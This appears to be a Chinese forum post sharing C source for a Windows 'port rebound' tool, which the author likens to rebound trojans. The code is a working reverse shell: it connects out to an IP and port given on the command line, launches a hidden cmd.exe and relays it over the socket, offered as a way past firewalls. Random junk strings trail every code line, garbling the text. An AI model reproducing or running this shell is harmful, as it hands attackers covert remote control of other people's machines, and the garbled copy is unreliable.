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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 xJwG=$o  
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/* ============================== 7 s Fz?` -  
Rebound port in Windows NT BR5BJX  
By wind,2006/7 J CGC  
===============================*/ ;_?MX/w|&  
#include ZcE_f>KV  
#include |L6&Gf]#5  
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#pragma comment(lib,"wsock32.lib") :t("L-GPW  
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void OutputShell(); 3=0E!e  
SOCKET sClient; _D, ;MB&7  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]j<Bo4~Il  
tt_o$D~kg  
void main(int argc,char **argv) 9~\kF5Q"  
{ MCTsi:V>+  
WSADATA stWsaData; pB:$lS  
int nRet; RFaSwf,5n  
SOCKADDR_IN stSaiClient,stSaiServer; lUOvm\  
U7 @AC}.+  
if(argc != 3) L1{GL #qV  
{ 'tgKe!-@  
printf("Useage:\n\rRebound DestIP DestPort\n"); cre;P5^E  
return; b*kfWG-6t  
} A^\.Z4=d"  
`>C<}xO  
WSAStartup(MAKEWORD(2,2),&stWsaData); 4,Ic}CvM  
8IQtz2  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }yn0IWVa  
1{x.xi"A/  
stSaiClient.sin_family = AF_INET; - YqYcer  
stSaiClient.sin_port = htons(0); LW6ZAETyL  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); v X~RP *  
ZUm?*.g\^  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^2D1`,|N  
{ }|OaL*|u  
printf("Bind Socket Failed!\n"); S0,R_d')  
return; enS}A*Io  
} (& "su3z  
MM_k ]-7  
stSaiServer.sin_family = AF_INET; |077Sf|  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;ea] $9  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7,qYV}  
olB)p$aH#  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) q%n6K  
{ PX: '/{V  
printf("Connect Error!"); AN:sQX`  
return; ?lGG|9J\  
} t.8 GT&p  
OutputShell(); GE;e]Jkjn  
} } "vW4   
\J..*,'  
void OutputShell() j`'`)3f  
{ Ei}/iBG@  
char szBuff[1024]; /n~\\9#3  
SECURITY_ATTRIBUTES stSecurityAttributes; K;?,FlH  
OSVERSIONINFO stOsversionInfo; EF7+ *Q9  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^H{R+}  
STARTUPINFO stStartupInfo; {e[%;W%c&  
char *szShell; ~LJY6A@y  
PROCESS_INFORMATION stProcessInformation; 'FlJpA}  
unsigned long lBytesRead; Va,<3z%O<  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); N7'OPTKt&  
XZ&KR .C,  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); E#J';tUQ  
stSecurityAttributes.lpSecurityDescriptor = 0; F>tQn4  
stSecurityAttributes.bInheritHandle = TRUE;  ~\,w {  
@2pu^k^  
?]fF3SJk  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); iLP7!j  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7{e{9QbJ4  
q{s(.Uq$&  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :q8b;*:  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Wcb7 ;~K  
stStartupInfo.wShowWindow = SW_HIDE; =PRx?q`d  
stStartupInfo.hStdInput = hReadPipe; '1,,)U#6E  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +4[^!q* H  
{Q+gZcu  
GetVersionEx(&stOsversionInfo); Q9I j\HbA"  
ZX ?yL>4  
switch(stOsversionInfo.dwPlatformId) }I 3gU  
{ 0TfS=scT  
case 1: a#mNE*Dg  
szShell = "command.com"; /9o!*K  
break; 6x"Q  
default: V .os  
szShell = "cmd.exe"; u@ jX+\  
break; vN 2u34  
} [ W2fd\4  
1;Pv0&[q/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); d,8mY/S>w  
c/B'jPt  
send(sClient,szMsg,77,0); )o\jJrVDf  
while(1) TKk-;Y=N  
{ >iS`pb  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); wApMzZ(X2y  
if(lBytesRead) {]"]uT#  
{ -n'F v@U  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); dw.F5?j`b  
send(sClient,szBuff,lBytesRead,0); hp{OL<2M  
} P&Pj>!T5  
else kId n6 Wx,  
{ mxb06u _  
lBytesRead=recv(sClient,szBuff,1024,0); `%09xMPu  
if(lBytesRead<=0) break; k}KC/d9.z  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &$`yo`  
} <hwy*uBrD  
} ^$&k5e/}C  
_fZZ_0\Q  
return; `DT3x{}_S  
}
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